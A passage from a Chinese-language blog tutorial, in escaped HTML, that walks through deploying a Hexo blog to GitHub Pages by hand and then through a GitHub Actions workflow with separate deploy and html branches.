class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edeploy:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etype:\u003c/span\u003e \u003cspan class=\"string\"\u003egit\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003erepo:\u003c/span\u003e \u003cspan class=\"string\"\u003ehttps://github.com/[username]/[username].github.io.git\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebranch:\u003c/span\u003e \u003cspan class=\"string\"\u003emain\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,把\u003ccode\u003e[username]\u003c/code\u003e替换为你的GitHub用户名即可。\u003c/p\u003e\u003cp\u003e最后,还是在上面的命令行窗口中,执行\u003ccode\u003ehexo clean \u0026amp;\u0026amp; hexo d\u003c/code\u003e,等待完成即可。\u003c/p\u003e\u003cp\u003e这个过程中,会让你输入GitHub账号密码,跟随提示输入即可。\u003c/p\u003e\u003ch3 id=\"验证\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%AA%8C%E8%AF%81\" class=\"headerlink\" title=\"验证\"\u003e\u003c/a\u003e验证\u003c/h3\u003e\u003cp\u003e完成之后,在浏览器里访问\u003ccode\u003ehttps://[username].github.io\u003c/code\u003e,能看见下面的界面就代表推送配置成功了:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-190658.png\" alt=\"(*/ω\*)\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e如果没有成功,可以等待2分钟再打开看看。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于网络问题,上面涉及GitHub和npm的部分,可能会遇到很慢甚至卡死的情况。这种情况只能试几次或者搭梯子解决。\u003c/p\u003e\u003cp\u003e或者,也可以先在本地验证博客是否正确配置。还是在上面的命令行窗口中,输入\u003ccode\u003ehexo s\u003c/code\u003e,完成后在浏览器里粘贴并打开网址:\u003ccode\u003e127.0.0.1:4000\u003c/code\u003e,我们就能看到博客是否正确配置。\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"开始搭建-ver-2\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%E6%90%AD%E5%BB%BA-ver-2\" class=\"headerlink\" title=\"开始搭建(ver.2)\"\u003e\u003c/a\u003e开始搭建(ver.2)\u003c/h2\u003e\u003cp\u003e第二版的教程会借助\u003ccode\u003eGitHub Action\u003c/code\u003e来让博客搭建变得更简单,而且让你的文章目录更加简洁,可维护。\u003c/p\u003e\u003cp\u003e在搭建完成后,我们会得到一个只包含原来的\u003ccode\u003esource\u003c/code\u003e目录下所有文件的新的目录。并且在编写完成后,只需要使用\u003ccode\u003egit push\u003c/code\u003e将我们写好的博文推送到GitHub就完成了所有的步骤。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:这个版本的教程可能需要一些常用开发工具的使用经验,建议小白先试试上面那个版本的\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"准备?\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%87%86%E5%A4%87%EF%BC%9F\" class=\"headerlink\" title=\"准备?\"\u003e\u003c/a\u003e准备?\u003c/h3\u003e\u003cp\u003e由于我们将大部分的复杂度都转移到了GitHub上,所以初次配置会更加繁琐。不过别急,\u003cdel\u003e让我先急\u003c/del\u003e只要跟着步骤做下来基本都没啥问题的。实在不行大不了fork一份仓库然后直接用(不\u003c/p\u003e\u003cp\u003e这次的步骤需要使用到\u003ccode\u003egit\u003c/code\u003e和\u003ccode\u003ehexo\u003c/code\u003e两个工具,并且我们需要创建三个分支用来实现自动化博客部署。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e啊对了,如果不想自己搭建直接用的话,也不是不可以。只需要打开我的\u003ca href=\"https://github.com/xeonds/xeonds.github.io\"\u003e仓库页面\u003c/a\u003e,然后点击那个fork,接着到你的仓库下继续操作:首先把\u003ccode\u003e.github/workflows/hexo-deploy.yml\u003c/code\u003e最后的\u003ccode\u003eREPOSITORY_NAME\u003c/code\u003e改成你自己博客的名字(xxx.github.io),然后把仓库名字改成刚才设置的名字,再检查仓库设置的Pages页面和Actions-\u0026gt;General页面的设置项是否和底下的一样。完成后,clone到本地,把我的博文换成你的,再到deploy分支配置好你的博客发布设置,最后push到GitHub检查一下有没有问题即可。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"开始!\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%EF%BC%81\" class=\"headerlink\" title=\"开始!\"\u003e\u003c/a\u003e开始!\u003c/h3\u003e\u003cp\u003e首先,在GitHub上创建你的博客仓库:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e特别注意,这里我建这个名字只是作为示范,你们建立仓库的时候直接用\u003ccode\u003e用户名.github.io\u003c/code\u003e当仓库名就ok\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521011305.png\"/\u003e\u003c/p\u003e\u003cp\u003e并克隆到本地:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521011417.png\"/\u003e\u003c/p\u003e\u003cp\u003e完成后打开:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521005753.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面我已经用VSCode打开了。创建好之后,在当前目录下打开命令行工具,再使用下面的命令创建两个分支:\u003ccode\u003edeploy\u003c/code\u003e和\u003ccode\u003ehtml\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit branch deploy\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit branch html\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e三个分支(\u003ccode\u003emain\u003c/code\u003e是默认分支)分别用来存储博客文章,保存博客构建工具以及存储生成的博客静态页面。\u003c/p\u003e\u003cp\u003e至此,三个分支就准备好了。下面就是重头戏了。\u003c/p\u003e\u003ch3 id=\"初始化博客构建工具\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%88%9D%E5%A7%8B%E5%8C%96%E5%8D%9A%E5%AE%A2%E6%9E%84%E5%BB%BA%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"初始化博客构建工具\"\u003e\u003c/a\u003e初始化博客构建工具\u003c/h3\u003e\u003cp\u003e先用\u003ccode\u003egit checkout deploy\u003c/code\u003e切换到构建分支,\u003cstrong\u003e并删除LICENSE和README.md\u003c/strong\u003e。随后创建一个临时目录\u003ccode\u003etmp\u003c/code\u003e,并在其中运行\u003ccode\u003ehexo init\u003c/code\u003e来初始化博客构建工具hexo。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521012200.png\"/\u003e\u003c/p\u003e\u003cp\u003e随后将\u003ccode\u003etmp\u003c/code\u003e下除了\u003ccode\u003e.git\u003c/code\u003e的所有文件移动到文件夹根目录下,并删除\u003ccode\u003etmp\u003c/code\u003e目录。然后运行一下\u003ccode\u003enpm i\u003c/code\u003e再安装下依赖。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521012421.png\"/\u003e\u003c/p\u003e\u003cp\u003e然后和上面一样,在根目录下安装必要的依赖:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm i hexo-deployer-git hexo-server hexo-generator-feed --save\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e并更改\u003ccode\u003e_config.yml\u003c/code\u003e中的最底下的部分如下:\u003c/p\u003e\u003cfigure class=\"highlight yaml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edeploy:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etype:\u003c/span\u003e \u003cspan class=\"string\"\u003egit\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003erepo:\u003c/span\u003e \u003cspan class=\"string\"\u003ehttps://github.com/[username]/[username].github.io.git\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebranch:\u003c/span\u003e \u003cspan class=\"string\"\u003ehtml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这时候应该就可以试着推送一下。没有问题的话会看到这个结果:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521013346.png\"/\u003e\u003c/p\u003e\u003cp\u003e这证明我们的推送已经配置好了。如果之前没设置git的用户名和邮箱的话会出问题,设置一下就好了。\u003c/p\u003e\u003cp\u003e然后就随便你怎么定制你的博客了,方法和上面那个版本的教程一样。\u003c/p\u003e\u003cp\u003e最后记得把\u003ccode\u003esource\u003c/code\u003e下的所有文件移动到文件夹外边,待会会再用到的。这里不移动出去,到时候可能会出现merge合并问题,比较麻烦。\u003c/p\u003e\u003ch3 id=\"配置主分支\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%85%8D%E7%BD%AE%E4%B8%BB%E5%88%86%E6%94%AF\" class=\"headerlink\" title=\"配置主分支\"\u003e\u003c/a\u003e配置主分支\u003c/h3\u003e\u003cp\u003e这一步是实现自动化的关键。因为其实做到现在这一步,我们其实已经可以用上面第一版的教程部署博客了。这里多增加的,就是一点点git技巧和GitHub技巧啦。\u003c/p\u003e\u003cp\u003e首先,在上面的部署工具配置完成后,使用\u003ccode\u003egit add .\u003c/code\u003e和\u003ccode\u003egit commit -m \u0026#34;deploy branch configure\u0026#34;\u003c/code\u003e来将deploy分支的改动保存到这个分支中。\u003c/p\u003e\u003cp\u003e完成这一步后,我们用\u003ccode\u003egit checkout main\u003c/code\u003e切换到main分支,开始我们最后的工作。不过在这之前,先在根目录添加一个\u003ccode\u003e.gitignore\u003c/code\u003e,把这几个文件添加进去:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521015420.png\"/\u003e\u003c/p\u003e\u003cp\u003e完成之后,我们就可以把之前移出去的source目录下的所有东西移动进来了。\u003c/p\u003e\u003cp\u003e下面是一份GitHub Actions配置清单,先把最底下的\u003ccode\u003eREPOSITORY_NAME\u003c/code\u003e替换为你的博客仓库地址,随后,把它保存到\u003ccode\u003e.github/workflows/hexo-deploy.yml\u003c/code\u003e中。\u003c/p\u003e\u003cfigure class=\"highlight yml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eHexo\u003c/span\u003e \u003cspan class=\"string\"\u003eDeploy\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eon:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003epush:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebranches:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"string\"\u003emain\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003ejobs:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebuild:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eruns-on:\u003c/span\u003e \u003cspan class=\"string\"\u003eubuntu-latest\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003esteps:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eCheckout\u003c/span\u003e \u003cspan class=\"string\"\u003edeploy\u003c/span\u003e \u003cspan class=\"string\"\u003ebranch\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eactions/checkout@v2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eref:\u003c/span\u003e \u003cspan class=\"string\"\u003edeploy\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003epath:\u003c/span\u003e \u003cspan class=\"string\"\u003e./\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eCheckout\u003c/span\u003e \u003cspan class=\"string\"\u003eblog\u003c/span\u003e \u003cspan class=\"string\"\u003erepo\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eactions/checkout@v2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eref:\u003c/span\u003e \u003cspan class=\"string\"\u003emain\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003epath:\u003c/span\u003e \u003cspan class=\"string\"\u003e./source\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eSet\u003c/span\u003e \u003cspan class=\"string\"\u003eup\u003c/span\u003e \u003cspan class=\"string\"\u003eNode.js\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eactions/setup-node@v2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003enode-version:\u003c/span\u003e \u003cspan class=\"number\"\u003e14\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eInstall\u003c/span\u003e \u003cspan class=\"string\"\u003edependencies\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003erun:\u003c/span\u003e \u003cspan class=\"string\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e npm install \u0026amp;\u0026amp; npm run build\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eDeploy\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eJamesIves/github-pages-deploy-action@releases/v3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eREPOSITORY_NAME:\u003c/span\u003e \u003cspan class=\"string\"\u003exeonds/hexo-actions\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eBRANCH:\u003c/span\u003e \u003cspan class=\"string\"\u003ehtml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eFOLDER:\u003c/span\u003e \u003cspan class=\"string\"\u003epublic\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存更改并推送到GitHub:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit add .\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit commit -m \u003cspan class=\"string\"\u003e\u0026#34;main workflow configure\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit push -u origin deploy\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这次推送会触发GitHub Action,并且会失败。完成接下来的配置之后,我们的配置才能算彻底完成。\u003c/p\u003e\u003ch3 id=\"GitHub仓库配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#GitHub%E4%BB%93%E5%BA%93%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"GitHub仓库配置\"\u003e\u003c/a\u003eGitHub仓库配置\u003c/h3\u003e\u003cp\u003e现在可以关掉其他东西,打开浏览器了。找到我们的仓库,点开设置并找到\u003cstrong\u003ePages\u003c/strong\u003e选项卡:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523215123.png\"/\u003e\u003c/p\u003e\u003cp\u003e按照上图的设置进行配置:首先在Source选项中,选择\u003cstrong\u003eDeploy from a branch\u003c/strong\u003e,然后在Branch选项中,选择\u003ccode\u003ehtml\u003c/code\u003e分支的\u003ccode\u003e/(root)\u003c/code\u003e目录作为部署的源路径。\u003c/p\u003e\u003cp\u003e保存之后,在左侧找到\u003cstrong\u003eActions \u0026gt; General\u003c/strong\u003e选项卡:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523215832.png\"/\u003e\u003c/p\u003e\u003cp\u003e翻到最底下,把\u003cstrong\u003eWorkflow Permossions\u003c/strong\u003e的选项改成\u003cstrong\u003eRead and write permissions\u003c/strong\u003e,然后保存。\u003c/p\u003e\u003cp\u003e到这里,我们的配置工作就基本结束了。\u003c/p\u003e\u003ch3 id=\"验证部署结果\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%AA%8C%E8%AF%81%E9%83%A8%E7%BD%B2%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"验证部署结果\"\u003e\u003c/a\u003e验证部署结果\u003c/h3\u003e\u003cp\u003e打开我们的博客目录,在\u003ccode\u003e_posts\u003c/code\u003e目录下写一篇新的博客,并标注\u003ccode\u003efrontmatter\u003c/code\u003e信息后,在git中提交并推送它到GitHub。\u003c/p\u003e\u003cp\u003e随后,等待大概1分钟左右,打开你的仓库首页,查看GitHub Action运行情况:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523220538.png\"/\u003e\u003c/p\u003e\u003cp\u003e一切顺利的话,就会看到成功的对勾和右下角的Environments为Active。此时打开你的GitHub Pages链接(通常是\u003ccode\u003ehttps://[用户名].github.io/\u003c/code\u003e),应该就能正常看到你的博客首页了。\u003c/p\u003e\u003cp\u003e如果出现异常,你可以去GitHub Action页面中查看你的Workflow详情,并根据报错信息在网上找解决方案(实在不行也可以问问New Bing之类的)。\u003c/p\u003e\u003cp\u003e总之是结束了,可喜可贺,可喜可贺。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e写这篇教程的时候,看到了不少和我思路一样的,不过不少都因为时效性问题无法部署,而且我的部署方式比较特别,是一个仓库实现hexo配置存储、博客文章存储以及静态页面预览,所以操作方法也不太一样。\u003cbr/\u003e总之想了下还是写了这篇教程。\u003cbr/\u003e以及中间关于Actions权限设置的问题,我翻了好久才在一个Issue里看到解决方案,之前真的是一头雾水。如果去翻翻官方文档的话,应该能更早解决吧\u003cbr/\u003e\u003cdel\u003e不管了反正终于结束了删库跑路删库跑路\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开始写作!\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%E5%86%99%E4%BD%9C%EF%BC%81\" class=\"headerlink\" title=\"开始写作!\"\u003e\u003c/a\u003e开始写作!\u003c/h2\u003e\u003cp\u003e一篇博客的写作流程大概是这样:\u003c/p\u003e\u003col\u003e\u003cli\u003e在博客目录打开命令行,输入 \u003ccode\u003ehexo new \u0026#34;文章标题\u0026#34;\u003c/code\u003e 